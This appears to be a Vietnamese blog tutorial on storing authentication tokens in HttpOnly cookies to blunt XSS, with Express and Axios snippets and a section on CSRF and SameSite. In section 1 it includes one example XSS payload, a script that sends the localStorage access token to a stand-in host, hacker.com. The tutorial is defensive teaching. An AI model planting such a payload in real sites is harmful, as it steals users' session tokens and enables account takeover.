HttpOnly Cookie là gì? "Vũ khí tối thượng" bảo vệ Token khỏi tấn công XSS
Khi xây dựng tính năng Đăng nhập (Authentication), câu hỏi kinh điển nhất của mọi lập trình viên Web là: "Lưu Token ở đâu cho an toàn?"
Đa số những người mới bắt đầu (và cả những tutorial trên mạng) đều hướng dẫn lưu JWT vào localStorage hoặc sessionStorage để tiện cho việc lấy ra và gắn vào Axios. Tuy nhiên, dưới góc độ Kiến trúc Bảo mật (Security Architecture), đây là một thảm họa chực chờ nổ.
Để giải bài toán này, các hệ thống lớn đều chuyển sang sử dụng HttpOnly Cookie. Vậy nó là gì và tại sao lại thần thánh đến vậy?
1. Hiểu về bản chất của lỗ hổng XSS
Để hiểu tại sao cần HttpOnly, ta phải hiểu kẻ thù của nó: XSS (Cross-Site Scripting).
XSS là một lỗ hổng bảo mật xảy ra khi hacker có thể tiêm (inject) các đoạn mã JavaScript độc hại vào trang web của bạn và ép trình duyệt của người dùng khác phải chạy đoạn mã đó.
Ví dụ: Website của bạn có tính năng bình luận. Hacker viết một bình luận chứa đoạn code: <script> fetch('[https://hacker.com/steal?token=](https://hacker.com/steal?token=)' + localStorage.getItem('accessToken')) </script>
Nếu website không lọc kỹ (sanitize) đầu vào, khi những người dùng khác vào xem bình luận này, trình duyệt của họ sẽ ngây thơ chạy đoạn script trên. Ngay lập tức, Token lưu trong localStorage bị móc ra và gửi thẳng về server của hacker. Mất Token đồng nghĩa với việc mất toàn quyền kiểm soát tài khoản.
2. HttpOnly Cookie: Chiếc két sắt mà JS không có chìa
Cookie thông thường cũng có thể bị đọc bởi JavaScript thông qua lệnh document.cookie, do đó nó cũng không an toàn trước XSS.
Nhưng HttpOnly là một cờ (flag) đặc biệt được set từ phía Backend khi tạo Cookie. Khi một Cookie được gắn mác HttpOnly, trình duyệt sẽ thiết lập một "định luật sắt": Tuyệt đối cấm mọi mã JavaScript phía Client can thiệp, đọc, hoặc sửa đổi Cookie này.
Hacker dù có tấn công XSS thành công, chạy được code JS trên máy nạn nhân, nhưng khi gọi document.cookie, trình duyệt sẽ che giấu đi toàn bộ các Cookie có cờ HttpOnly. Hacker trắng tay!
3. Nếu JS không đọc được, làm sao gọi API?
Đây chính là điểm thiên tài của kiến trúc này.
Mặc dù mã JS (như React, Vue) không thể chạm vào HttpOnly Cookie, nhưng Trình duyệt (Browser) thì có. Theo tiêu chuẩn của giao thức HTTP, trình duyệt sẽ tự động đính kèm toàn bộ Cookie hợp lệ vào Header của mọi Request gửi lên đúng Domain đã phát hành ra Cookie đó.
Hãy nhớ lại bài viết về Axios Interceptor. Nếu bạn dùng HttpOnly Cookie, bạn thậm chí không cần viết code Request Interceptor để gắn Token nữa! Bạn cứ gọi axios.get('/profile'), phần còn lại (mở két sắt lấy Token gắn vào Header) trình duyệt sẽ tự động làm giùm bạn ở tầng mạng (Network Layer).
4. Cách triển khai thực tế (Code minh họa)
Việc set HttpOnly hoàn toàn là trách nhiệm của Backend. Phía Frontend (React) hầu như không cần làm gì nhiều.
Phía Backend (Ví dụ với Node.js/Express): Khi user đăng nhập thành công, thay vì trả Token về qua body JSON, backend sẽ nhét nó vào Cookie trả về:
JavaScript
// Trả Token về qua Set-Cookie Header
res.cookie('accessToken', jwtToken, {
httpOnly: true, // BẮT BUỘC: Ngăn chặn JavaScript đọc cookie (Chống XSS)
secure: true, // BẮT BUỘC trên Production: Chỉ gửi qua HTTPS
sameSite: 'strict', // Ngăn chặn tấn công CSRF (sẽ giải thích ở dưới)
maxAge: 3600000 // Thời gian sống: 1 giờ
});
res.status(200).json({ message: "Đăng nhập thành công" });
Phía Frontend (React/Axios): Để trình duyệt tự động gửi Cookie đi cùng API (đặc biệt là khi Frontend và Backend khác Port/Domain), bạn chỉ cần bật đúng 1 dòng cấu hình trong instance của Axios:
JavaScript
import axios from 'axios';
const apiClient = axios.create({
baseURL: 'https://api.domaincuaban.com',
withCredentials: true // QUAN TRỌNG: Cho phép Axios gửi và nhận Cookie
});
5. Mặt trái của tấm huy chương: Lỗ hổng CSRF
Trong thế giới bảo mật, không có "viên đạn bạc" giải quyết được mọi thứ.
Khi bạn dùng HttpOnly Cookie, bạn đã đóng sập cánh cửa tấn công XSS. Tuy nhiên, chính cơ chế "trình duyệt tự động gửi Cookie" lại mở ra một rủi ro mới mang tên CSRF (Cross-Site Request Forgery - Giả mạo yêu cầu liên trang).
Hiểu đơn giản, hacker lừa bạn click vào một đường link rác. Link đó ngầm gửi một API chuyển tiền đến Bank của bạn. Vì trình duyệt "thấy" request gọi đến Bank, nó tự động lấy Cookie (chứa phiên đăng nhập của bạn) đính kèm vào. Thế là server Bank tưởng bạn thực sự muốn chuyển tiền.
Giải pháp: Để chống lại CSRF khi dùng Cookie, Backend bắt buộc phải cấu hình thêm cờ SameSite=Strict hoặc Lax (như trong đoạn code trên), hoặc sử dụng thêm kỹ thuật Anti-CSRF Token.
6. Tổng kết
Việc chuyển đổi từ lưu Token ở localStorage sang HttpOnly Cookie là một bước trưởng thành bắt buộc trong tư duy của một Web Developer. Nó đòi hỏi bạn phải hiểu sâu về giao thức HTTP, cách trình duyệt hoạt động, và kiến trúc hệ thống thay vì chỉ viết code cho "chạy được".
Hãy luôn nhớ quy tắc vàng: Không bao giờ tin tưởng bất cứ thứ gì có thể bị Javascript đọc được khi nói đến dữ liệu xác thực.